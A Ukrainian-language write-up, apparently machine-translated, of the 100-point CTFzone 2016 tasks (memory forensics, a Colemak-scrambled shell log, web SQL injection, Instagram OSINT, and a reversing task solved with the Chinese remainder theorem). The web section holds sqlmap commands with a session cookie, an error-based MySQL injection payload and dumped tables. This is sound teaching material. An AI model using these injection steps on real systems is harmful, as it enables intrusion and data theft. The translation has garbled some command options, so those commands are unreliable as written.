[ZeroNights2016] [CTFzone] Без 100 грам не розберешся



Продовжуємо цикл статей, присвячений врайтапу за CTFzone, який проходив 17 та 18 листопада у рамках ZeroNights2016 під прапором Bi.Zone. В цей раз ми поговоримо про завданнях, виконання яких приносило по 100 очок на користь реальних хакерів!

Попередні публікації з даного циклу1) Розбір польотів за 50

Окреме спасибі GH0st3rs за надані врайтапы деяких завдань.

FORENSIC100 — Master of Strings
Rise and shine, Lieutenant, stop dreaming of drinking vodka and playing with the bear. A. U. R. O. R. A. is speaking and it's time you stopped sleeping at your workplace. You can't idle your time anymore as the whole world might go down the drain unless, well… let's say it's time you are back in the game. The right man in the wrong place can change the world. So wake up, Lieutenant, find a password for the Spaceship panel and join the forces on Earth!
До завдання додавався 7z архів з файлом '.RAM' усередині. Логічно, що необхідно аналізувати зліпок ОЗП. Було прийнято рішення дивитися в бік 'Volatility'. Ще раз (два/три) прочитавши завдання і перегорнувши Wiki за Volatility, можна було помітити розділ «Струни» і побачити посилання на SysInternals Strings. Зрозуміло, її ми і використовуємо:

strings.exe task_forensic_100.ram > output

Отримуємо output на ~70МБ з UNICODE рядків довжиною більше 3 символів (за замовчуванням). Відкривши його текстовим редактором, я вирушив на пошуки прапора, — «А раптом?». Яке ж було моє здивування:


Як потім виявилося: мій варіант отримання прапора виявився не таким, яким його планував «автор». Ну, що ж, може бути так навіть краще.

MISC100 — Nerdy Mechanic
A. U. R. O. R. A.: Lieutenant, let me introduce you to Sergeant Varvara. She needs your help.
Sergeant Varvara: Lieutenant, this terminal is not working. I entered my request but there is some gibberish on the screen. Our air mechanic was the last to work on this terminal. Would you take a look?
Нижче нам надають той самий «кривий» висновок з терміналу:

why
ir -iagp
irbie -t
cifap
iw;-pfqlfrg -sfm DFG gukjlpi.cym/dnwalwbw
pfrfg

Що ж з цим робити? Давайте подивимося уважніше: кінець п'ятого рядка дуже нагадує посилання. Однак, потрібно замінити на: 'y' -> 'o'. Тоді і в першому рядку 'why' перетворюється в 'who' — Ага! — очевидно, що це інтерпретатор Bash. Може в цьому завданні і була якась логіка підміни букв, однак накидавши простенький скрипт на Python методом проб, рішення прийшло само собою:

print(text.replace('y','o').replace('j','y').replace('n','j').replace('k','n').replace('u','v').replace('l','u').replace('i','l').replace('r','s').replace('e','k').replace('f','e').replace('p','r').replace('g','t').replace('G','T').replace(';','p').replace('d','g').replace('D','G').replace('F','E').replace('v','i'))

У підсумку вийшло наступне:

who 
ls -latr 
lsblk -t 
clear 
lwp-request -sem GET tinyurl.com/gjwauwbw 
reset

Переходимо по посиланню і бачимо прапор: ctfzone{182ac24a3b2dc86ba298f57d9c391c0b}

P. S. > З джерел стало відомо, що оригінальний алгоритм заміни букв у даному шифротексте — використання Colemak.

WEB100 — Search Engine
Lieutenant (You): A. U. R. O. R. A., i'm in the SNT-47 compartment, in the general-purpose room. Thermal signatures are missing. I need to find a way to connect to the ship communications and it's urgent, what should I do?
A. U. R. O. R. A.: Welcome to the information retrieval system A. U. R. O. R. A. Please name your identification number.
You: What identification number?! Are you broken as well?? Let's see what you have inside if I don't want to stay here forever...
До завдання додавалася посилання на сайт з формою авторизації:



З чого почати? Правильно: з пошуку з вихідного коду сторінки. Йдемо туди і спостерігаємо:

<script src=/static/js/pewpew.js type="text/javascript"></script>

Відкриваємо, дивимося:


if ('s3cr3tuser' === $(ctrls[0]).find('input').val()
&& 'v3rySTr0ngP@ss' === $(ctrls[1]).find('input').val()) {

Неозброєним поглядом ми розуміємо що до чого. Повертаємося на форму авторизації і йдемо далі. Перед нами відкривається сторінка з єдиною рядком пошуку. «А не SQLi тут бува?», — має послышаться в голові. Йдемо перевіряти: бінго!


Що ж, расчехляем старий добрий SqlMap (звичайно, можна і руками). Не забуваємо про те, що ми виробили авторизацію => потрібно вказати Cookies. В цілях економії місцевого простору «висновок» не повний:

root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzzkhxekrtd09wsvlqr0oifq.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --субд=MySQL --tables

Вивід команди
Parameter: #1* (URI)
 
Type: error-based
 
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
 
Payload: http://78.155.219.6:80/search/param1'||(SELECT 'bGEm' FROM DUAL WHERE 8985=8985 AND (SELECT 1912 FROM(SELECT COUNT(*),CONCAT(0x7170716a71,(SELECT (ELT(1912=1912,1))),0x7176717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
 
---
 
[18:30:29] [INFO] testing MySQL
 
[18:30:29] [INFO] confirming MySQL
 
[18:30:29] [INFO] the back-end СУБД is MySQL
 
back-end СУБД: MySQL >= 5.0.0
 
[18:30:29] [INFO] fetching database names
 
[18:30:29] [INFO] the SQL query used returns 5 entries
 
[18:30:29] [INFO] resumed: information_schema
 
[18:30:29] [INFO] resumed: mysql
 
[18:30:29] [INFO] resumed: performance_schema
 
[18:30:29] [INFO] resumed: sqli_100
 
[18:30:29] [INFO] resumed: sys
 
[18:30:29] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, sqli_100, sys'
 
[18:30:29] [INFO] the SQL query used returns 282 entries


root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzzkhxekrtd09wsvlqr0oifq.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --субд=MySQL -D "sqli_100" T "wtf3thisiss3crettable_dont_read_dont_touch" --columns

Вивід команди
Database: sqli_100
 
Table: wtf3thisiss3crettable_dont_read_dont_touch
 
[2 columns]
 
+--------+--------------+
 
| Column | Type |
 
+--------+--------------+
 
| id | int(5) |
 
| secret | varchar(500) |
 
+--------+--------------+


root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzzkhxekrtd09wsvlqr0oifq.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --субд=MySQL -D "sqli_100" T "wtf3thisiss3crettable_dont_read_dont_touch" -C "secret" --dump

Вивід команди
Database: sqli_100
 
Table: wtf3thisiss3crettable_dont_read_dont_touch
 
[13 entries]
 
+-----------------------------------------+
 
| secret |
 
+-----------------------------------------+
 
| 089b1d5d37c22d81b55b6f77c9e2b042 |
 
| asdkkjhjsdaojewifdiowuefdw0 |
 
| asdkkjhjsdaojewifdiowuefdw0 |
 
| dskjhwjkfhsjdkfhsjdkhfjk |
 
| dskjhwjkfhsjdkfhsjdkhfjk |
 
| dskjhwjkfhsjdkfhsjdkhfjk |
 
| dskjhwjkfhsjdkfhsjdkhfjk |
 
| lfhdwrekfgbuhwoeijfdweoifjweoif |
 
| lfhdwrekfgbuhwoeijfdweoifjweoif |
 
| lfhdwrekfgbuhwoeijfdweoifjweoif |
 
| lfhdwrekfgbuhwoeijfdweoifjweoif |
 
| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |
 
| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |
 
+-----------------------------------------+


Нас просять не забувати формат прапора, адже він в цій таблиці. А ось і він:

ctfzone{089b1d5d37c22d81b55b6f77c9e2b042}

OSINT100 — Weird Guy
A. U. R. O. R. A.: Lieutenant, our agents sneaked in Cosmos hotel and witnessed the preparations for ZERONIGHTS 2016. Everyone was busy installing their stands and making photos. There was a weird guy in the hall who was absorbed in reading something on his laptop. We couldn't figure out who was this guy but we need to know what he was looking at the screen. This photo might help you.
До завдання додавалася фотографія:


На фото ми можемо спостерігати як селфятся одна людина фотографує іншого, а також помітити, що необхідний екран потрапляє в область фотографії. Завдання зрозуміле: необхідно знайти фото з правильного ракурсу. Враховуючи, що даний CTF носить інтернаціональний характер задаємося питанням: «Який нам потрібен сайт?». Правильно — Instagram. Далі, ця задача мала б два рішення:

  • Усвідомлюючи, що зйомка відбувалася в рамках ZeroNights2016 на території ГК «Космос» — використовувати пошук за ГеоТегам. На жаль, на даний момент відмовився працювати, через невизначених змін в Instagram API;
  • Методом проб і помилок перебирати все #хештеги, якимось чином пов'язані з CTF, Bi.Zone або ZeroNights в цілому.
Через деякий час (використовуючи другий спосіб) шуканий хештег був знайдений: #zn2016. А ось і шукана фотографія:



Прапор: ctfzone{Os1nT_G4nGsT3r}

REVERSE100 — The Doors Of Dorun
**A. U. R. O. R. A.: ** Lieutenant, your co-pilot was abducted by aliens and put into prison. They are out hunting now and it's your chance to set him free! He is held behind the Doors, the jambs invisible to the eye, and matched so perfectly with the metal bulkhead that when closed the Doors could not be seen.
The inscription on the archivolt read:
«The Doors of Dorun, Lord of Omega. Speak, friend and enter. I, Norvy, made them. Calabrimbor of Alpha Centauri drew these signs».
But be careful and hurry up. They can be back any moment.
До завдання додавався файл, при запуску якого з'являлося вікно з полем для введення пароля. Якщо пароль невірний, то слідувала помилка:


Ну, добре, вивернемо навиворіт! Дизассемблируем і знову бачимо, вже знайому нам з минулого завдання (REVERSE50), функцію: DialogFunc, по зсуву: 13F7C1040. Дивимося далі знаходимо:


На даній ділянці коду відбувається отримання введеного пароля, а потім передача його в функцію (назвемо її: PassVerify), і в разі невірного результату:

jz short loc_13F7C1126


переносить нас на ділянку коду, що сигналізує про помилку:


Перейдемо в функцію: PassVerify і подивимося, що ж там відбувається. Бачимо перевірку довжини, введеної нами фрази – 4 символи.


Потім, пароль розбивається на 2 частини по 2 символи:


Далі починається заповнення стека значеннями для звірки. І, починаючи з адреси: 13F7C1330, починається сама перевірка введеного пароля:


Скористаємося плагіном HexRays і отримаємо ось такий код:


Отже, що ми маємо? У «v3» знаходиться перша частина пароля, а в «v5» — друга. Якщо перетворити даний цикл, то вийде ось така умова (Python):

v8 = [0, 0, 1, 241, 995, 0, 1, 4, 6, 104, 413, 0]
if (v3%3==v8[0] and v3%5==v8[1] and v3%17==v8[2] and v3%257==v8[3] and v3%65537==v8[4]) or (v5%3==v8[6] and v5%5==v8[7] and v5%17==v8[8] and v5%257==v8[9] and v5%65537==v8[10])

Варіант вирішення даного рівняння кожен обирав для себе. Однак, ми не шукаємо легких шляхів і скористаємося китайської теореми про залишки (скрипт якої залишився ще з NeoQuest2016):

Китайська теорема про залишки. Реалізація: Python
def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a*b, n)

for n_i, a_i in zip(n, a):
p = prod / n_i
sum += a_i * mul_inv(p, n_i) * p
return sum % prod


def mul_inv(a, b):
b0 = b
x0, x1 = 0, 1
if b == 1: return 1
while a > 1:
q = a / b
a, b = b, a%b
x0, x1 = x1 - q * x0, x0
if x1 < 0: x1 += b0
return x1


Використовуємо:

hex(chinese_remainder([3,5,17,257,65537],[v8[0],v8[1],v8[2],v8[3],v8[4]]))

Висновок: 0xa028a40b

Використовуємо:

hex(chinese_remainder([3,5,17,257,65537],[v8[6],v8[7],v8[8],v8[9],v8[10]]))

Висновок: 0xa288a425

Ми отримали коди символів. Наступним кроком буде відвідування даного сайту і пошук відповідних символів за відомим HEX значень. Отримуємо: ꐋꀨꐥꊈ. Пробуємо цей пароль — Profit!





Ми будемо продовжувати даний цикл статей, де розглянемо вирішення інших завдань CTFzone 2016.
Залишайтеся з нами!
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.